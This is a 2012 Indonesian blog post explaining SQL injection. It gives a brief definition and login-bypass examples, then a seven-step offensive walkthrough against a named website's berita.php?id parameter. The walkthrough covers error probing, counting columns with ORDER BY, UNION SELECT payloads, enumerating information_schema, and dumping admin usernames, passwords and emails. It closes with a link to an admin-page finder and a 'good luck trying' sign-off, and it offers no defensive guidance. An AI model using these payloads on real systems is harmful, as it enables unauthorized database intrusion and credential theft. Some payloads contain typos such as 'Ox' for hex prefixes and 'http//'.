Minggu, 13 Mei 2012

Pengertian SQL Injection dan Berikut Langkah-langkahnya

                      SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Sebab terjadinya SQL Injection 
1) Tidak adanya penanganan terhadap karakter – karakter tanda petik satu ‟ dan juga karakter double minus --yang
     menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL.
2) Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.

Contoh sintak SQL dalam PHP
 1)  $SQL = “select * from login where username =‟$username‟ and password =
      „$password‟”; , {dari GET atau POST variable }
2) isikan password dengan string ‟ or ‟‟ = ‟
3) hasilnya maka SQL akan seperti ini = “select * from login where username
   = ‟$username‟ and password=‟pass‟ or „=′”; , { dengan SQL ini hasil selection akan
selalu TRUE }
4) maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL

Contoh sintak SQL Injection
1) Sintaks SQL string ‘-- setelah nama username
2) Query database awal :
    select*from user where name = 'bob' and password = 'robot'
     berubah menjadi
    select*from user where name = 'bob'--' and password ='xxx'

Berikut Adalah Langkah-Langkah Menggunakan SQL Injection

1.  Step Satu

     Carilah target, misalkan: http//www.snipp55.com/berita.php?id=100
     Tambahkan karakter ( ‘ ) pada akhir url atau menambahkan karakter ( – ) untuk melihat apakah ada pesan error.
     contoh : http//www.snipp55.com/berita.php?id=100′ atau
                     http//www.snipp55.com/berita.php?id=-100
     sehingga muncul pesan error seperti berikut :
     ” Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /var/www/html/classes/storedProcedures/GetArticleData.class.php on line 92 “
     (dan masih banyak lagi pesan error yg lainnya)


2. Step Dua

     Mencari dan menghitung jumlah table yang ada dalam databasenya, gunakan perintah : order by
     contoh : http//www.snipp55.com/berita.php?id=-100+order+by+1–  atau
                     http//www.snipp55.com/berita.php?id=-100+order+by+1/*
     ceklah secara step by step (satupersatu)
    misal:
    http//www.snipp55.com/berita.php?id=-100+order+by+1–
    http//www.snipp55.com/berita.php?id=-100+order+by+2–
    http//www.snipp55.com/berita.php?id=-100+order+by+3–
    http//www.snipp55.com/berita.php?id=-100+order+by+4– dst
    sehingga muncul pesan error
    misal pesan errornya muncul di table 9 :
              http//www.snipp55.com/berita.php?id=-100+order+by+9–
              berarti table yang terdapat dalam database adalah 8
              menjadi http//www.snipp55.com/berita.php?id=-100+order+by+8–

3. Step Tiga

     Mencari nomor keberuntungan dengan menggunakan perintah union select
     karena tadi tablenya hanya ada 8
     maka: http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8–
     ok seumpama yg keluar adalah angka 5
     maka gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai.
     masukan perintah tsb pada angka yg keluar tadi
     misal: http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8– atau
     http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8–
     lalu lihat versi database yg digunakan seumpama versi 4 maka tinggalkan saja karena dalam ver 4 ini kita harus menebak
     sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema
     jika versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan 
     perintah From+Information_schema


4. Step Empat

    menampilkan table yg ada pada web tsb dengan
    perintah group_concat(table_name)         >>> dimasukan pada angka keberuntungan yg keluar tadi
   perintah +from+information_schema.tables+where+table_schema=database()–        >>> dimasukan setelah angka terakhir
   Contoh :
    http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()–
ibaratkan yang muncul adalah table  “admin”


5. Step Lima

    menampilkan kolom yang terdapat di table “admin”
    perintah group_concat(column_name)         >>> dimasukan pada angka keberuntungan yg keluar tadi
    perintah +from+information_schema.columns+where+table_name=Oxhexa–       >>> dimasukan setelah angka terakhir
    Contoh :
    http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=Oxhexa–
    pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
    website yg digunakan untuk konversi :
    contoh kata yg ingin di konversi yaitu “admin” (tanpa tanda kutip) maka akan menjadi 61646d696e
maka : http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=Ox61646D696E–
    ibaratkan yang muncul adalah column username,password,email


6. Step Enam

     memunculkan apa yg tadi telah dikeluarkan dari column yaitu dengan cara
    perintah concat_ws(Ox3a,hasil isi column yg akan dikeluarkan)         >>> dimasukan pada angka keberuntungan yg keluar tadi
    perintah +from+(nama table berasal)          >>> dimasukan setelah angka terakhir
    Contoh :
  http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,concat_ws(Ox3a,column yang akan dilihat isinya),6,7,8+from+(nama table)–
    contoh column yang keluar td adalah column username,password,email
    Maka :
    http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,concat_ws(Ox3a,username,Ox3a,password,Ox3a,email),6,7,8+from+admin–
    contoh yang keluar :
    admin:an4kal4y:alay_alay@alay.com
    cara membaca nya seperti berikut :
    username : admin
    password : an4kal4y
    email : alay_alay@alay.com


7.  Step Tujuh  

      tahap terakhir yang harus dilakukan adalah mencari halaman admin atau login (adminlogin).
      website yang menyediakan program pencarian login admin :
      http://revtan.site40.net/admin/?
      Selamat Mencoba
 

1 komentar: